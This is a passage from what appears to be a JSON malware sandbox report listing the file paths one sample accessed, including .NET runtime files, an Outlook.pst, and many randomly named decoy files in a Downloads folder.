b445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%TEMP%\\krakentemp0000.exe.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\tasklist.exe","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\tasklist.exe.mui","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Documents\\Database1.accdb","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\0Sp0C2.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Contacts\\%OSUSER%.contact","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Documents\\Outlook Files\\Outlook.pst","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\0MTtHojL.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\0vAOzfx2r.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\1N9XZhECgqNiztI.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\2MffCJz16PvEB.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\2VEV49vrsTLgZa.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\2w1w1py1F.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\2zcZSXtZc.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\3dGXIt7I2ITpav.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\3LnBJn.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\3NalgQ7T61.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\b351j5J.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\3OleWh3.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\b83j1whH4AFW.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\4E0qAxNiq7QCMAH.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\4JMQP51xRP4ubhP.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\5F7TBCLUxJG.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\bmwV9wV922aP.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\5JQ5LUD.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\5lvtAMvrhoXfL.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\66cBVUILav7b.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\6Mezlh.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\6pgHJumsDCsNOSW0.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\dADsR8ADZA.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\6rBWK5p0shM2.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\6x7ogLEUua7P0r.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\DPYao.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\6XKtluzfd94XxpU0.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\7apDTq.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\dS50hM5BYSkIp3.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\88RVD.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\8lo1U4.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\eM37v5eGuj.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\9kzZfe.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\9ld3Swg9d708.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\9mVfR93Ya0MhJ4r.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\9Tr896lS2EHhXnXN.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Ae5I9Tp.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Ety4Pk.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\agR7veM.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\aV63jolkZYRS.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\FfPBcMgB2Ib75pJ.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\B1quCrDurbd4XKkA.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\fSKfQrVkIa.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\G5WwC5qR9t40.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\bi15sDCCo6KP.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\bMTL7.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\BvPHO2whvH.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\gPs5E5MFXNCgyb.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\BwGP.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\c6U0diDPlb.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\CXTZW9A2KnJ.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\CZspj.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\D5XQTXC52pXqq.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\DKwpgw.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\HoJQ.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\dr8KhOqi3s1qY.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\I13AS0JPyzcp.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\eb2tXA9etKa8.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\EryDt.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\iBYXJxQ8Din.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\ETlJ.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Ie2iSU.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\IRHrwbIBYqqeSb.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\FMLv5xQw.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\ISVsu.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\j8Sa.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\G91s2xrIF8.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\G9mKqAA.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\gDM3cBUwMXp.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\GgHlzQR.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\kOMe5UUGx3N.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\gSFISiLdEqY.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\kX1EFgv2SQpv.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\kzZRlf1JIN1Fc0.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\L2qZa54hNih3FI.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\gtcmotdmF.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\loDXvpcbM2t.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\HKfMbc4O5Dq.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Hs28ATfZ2n.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\m3I6.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\I1FDKUv.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\mUJfe.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\I8mXeIsqVW.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\MXf3Y8G12MNbrM.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\NUphetxlkgkR.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\IGMUa.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\iOtp3dhgvMzgM6W.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\OxaGutTgg.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\piLMujsJtKhePpUk.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\IzKTG5xkG23Vx.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\pJ5LdT.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\PnUU42S.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\jn5O.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\jwqS0glEK.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\PxTEGsz.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\q4ELNH.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\JZ2pMXx3Vcrzbyv.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\K9q7qDW.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\qEtregYQhaZNNrmZ.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\kFzK44eiZQZaqb58.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\kK87N1OZJcg.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\QN3biJOjxEXdZ.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\kw4EOhPqkuy4R.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\kWJdgQhlUBI.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Qpn8etOi4.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\qSjvFasnrz.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\R8faJrHD.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\RAXI.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Lw3Fb9jReo6E.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\lZIxyQanY806dPvo.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\RbtW4G2kFg1PKp.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Rh6K1OQC5.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\mMiZaSTm.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\ryO8PQfX4JxY.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\nOzfbva0sbjztzm.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\sFbzgHs1K3qLZF41.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\OpKgf.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\sypJbNqx.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\SYqt4.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\paDPuaXhZv0D.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\tASbO1fq72.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\pSTvHOZK.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\pv2QM3mvvNti.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\TE8y4bplCG5E.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\QGt9U37rl.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\tjYU.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\QlwjqHS.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\TkLNxcfvs00Ke.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\QP5MQD2NHGKrPzwr.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\tpnUorm2s9.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\u6ab20.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\UIge59Lo.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\UiH0aQKghKZYS.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\rpX8ntbi.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\UlVd.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Rwr6Ln6VKYDSx.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\UulKwY.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\uV18Udm.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\SI7SrSNA.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\sIDdZiPdO4tdT.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\VbHDJoz8cFwr.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\sMnAqNs7sI4.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\vx46EIEaSV.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\vzBvHbT.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\ta9qL1LD4wzv.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\WMmZ.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\WtsXtW5R9qfG5.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\tErhGo50ST8.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\XF9IG.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\xHkhUwrp.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\XsxV2lbQmEdqvn.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\TURpw.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\TzuQwEH0h0MzE1Ky.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\u8rbs.doc","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\Yo6yX0csq8lANU.txt","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\yP1Ciwh3K3C1.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\UP97ZKmN.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\yuUok.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\V75WwbfpWWqom.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\VB7SPB.pdf","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\VOjZkMZ5a.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\ZRUs74FSqT98Ni.jpg","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\W762dN.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\wJkF3y0uq4.mp3","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\wK4Ww80v3.rar","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\WOWs6ef3DQ.avi","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\wTXpSXByYWhq77q.gif","sources":[{"report_type":"sandbox","report_id":"5bd9c6ac7ca3e1660a4db445"}]},{"path":"%USERPROFILE%\\Downloads\\x0ZXVuIW7oY.txt","sources":[{"report_type":